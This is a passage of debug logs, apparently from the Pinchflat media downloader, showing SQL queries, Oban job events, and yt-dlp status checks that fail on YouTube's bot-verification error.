m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 20:31:15.083 [debug] QUERY OK source="tasks" db=1.9ms idle=7.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:15.083 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:15.085 [debug] QUERY OK source="media_items" db=1.9ms idle=8.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [4, 5] 20:31:15.085 [debug] QUERY OK source="sources" db=1.8ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:15.088 [debug] QUERY OK source="media_profiles" db=1.8ms queue=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:15.089 [debug] QUERY OK source="media_items" db=0.8ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 20:31:15.091 [debug] QUERY OK source="media_metadata" db=0.3ms idle=7.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [5] 20:31:15.091 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:15.092 [debug] QUERY OK source="settings" db=0.7ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.093 [debug] QUERY OK source="settings" db=0.5ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.094 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:15.095 [debug] QUERY OK source="settings" db=0.2ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.096 [debug] QUERY OK source="settings" db=0.3ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.097 [debug] QUERY OK source="settings" db=0.7ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.097 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uF7uyrusBxs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/39/e1/39e187cebc5c340ad4493339142b2fb7292fb41693b1fba79a5dbe598719ed24.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:15.350 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CJbics5QJMc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bb/ec/bbec526d3c0b3f644932dd4aa9f4b9e7c5e502b4fa311c218d86e3dae2ff72f9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] CJbics5QJMc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:15.350 [error] yt-dlp download error for media item #4: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] CJbics5QJMc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:15.350 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] CJbics5QJMc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:15.352 [info] {"args":{"id":4},"id":202,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2069363,"event":"job:stop","attempt":1,"queue_time":2279070,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:15.354 [debug] QUERY OK source="tasks" db=1.2ms idle=259.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:15.355 [debug] QUERY OK source="media_items" db=0.9ms idle=258.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 20:31:15.360 [info] {"args":{"id":6},"id":204,"meta":{},"system_time":1774150275360227055,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:15.362 [debug] QUERY OK source="tasks" db=1.0ms queue=0.2ms idle=8.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:15.363 [debug] QUERY OK source="media_items" db=2.5ms queue=0.6ms idle=263.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 20:31:15.364 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:15.365 [debug] QUERY OK source="media_items" db=3.3ms idle=7.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [5, 6] 20:31:15.368 [debug] QUERY OK source="sources" db=3.7ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:15.369 [debug] QUERY OK source="media_profiles" db=0.9ms idle=8.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:15.371 [debug] QUERY OK source="media_items" db=0.8ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 20:31:15.373 [debug] QUERY OK source="media_metadata" db=0.2ms idle=9.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [6] 20:31:15.373 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:15.374 [debug] QUERY OK source="settings" db=0.7ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.375 [debug] QUERY OK source="settings" db=0.6ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.376 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:15.377 [debug] QUERY OK source="settings" db=0.2ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.378 [debug] QUERY OK source="settings" db=0.5ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.379 [debug] QUERY OK source="settings" db=0.8ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.379 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=wc3DM-7lL-g --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/79/c2/79c2b76030c1ab1fae77e0cc3e09d17df2b88bdbd6480132dafc4b304de1be7b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:15.558 [info] {"source":"oban","duration":2460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:17.017 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uF7uyrusBxs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/39/e1/39e187cebc5c340ad4493339142b2fb7292fb41693b1fba79a5dbe598719ed24.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] uF7uyrusBxs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:17.017 [error] yt-dlp download error for media item #5: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] uF7uyrusBxs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:17.017 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] uF7uyrusBxs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:17.018 [info] {"args":{"id":5},"id":203,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1937023,"event":"job:stop","attempt":1,"queue_time":4079185,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:17.019 [debug] QUERY OK source="tasks" db=0.8ms idle=428.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:17.020 [debug] QUERY OK source="media_items" db=1.0ms idle=429.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 20:31:17.025 [info] {"args":{"id":7},"id":205,"meta":{},"system_time":1774150277025251491,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:17.026 [debug] QUERY OK source="media_items" db=0.4ms idle=241.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 20:31:17.026 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:17.026 [debug] QUERY OK source="tasks" db=0.9ms idle=7.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:17.027 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:17.027 [debug] QUERY OK source="media_items" db=0.3ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [6, 7] 20:31:17.028 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.2ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:17.029 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 20:31:17.032 [debug] QUERY OK source="media_metadata" db=0.2ms idle=5.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [7] 20:31:17.032 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:17.033 [debug] QUERY OK source="settings" db=0.4ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:17.034 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:17.034 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:17.036 [debug] QUERY OK source="settings" db=0.2ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 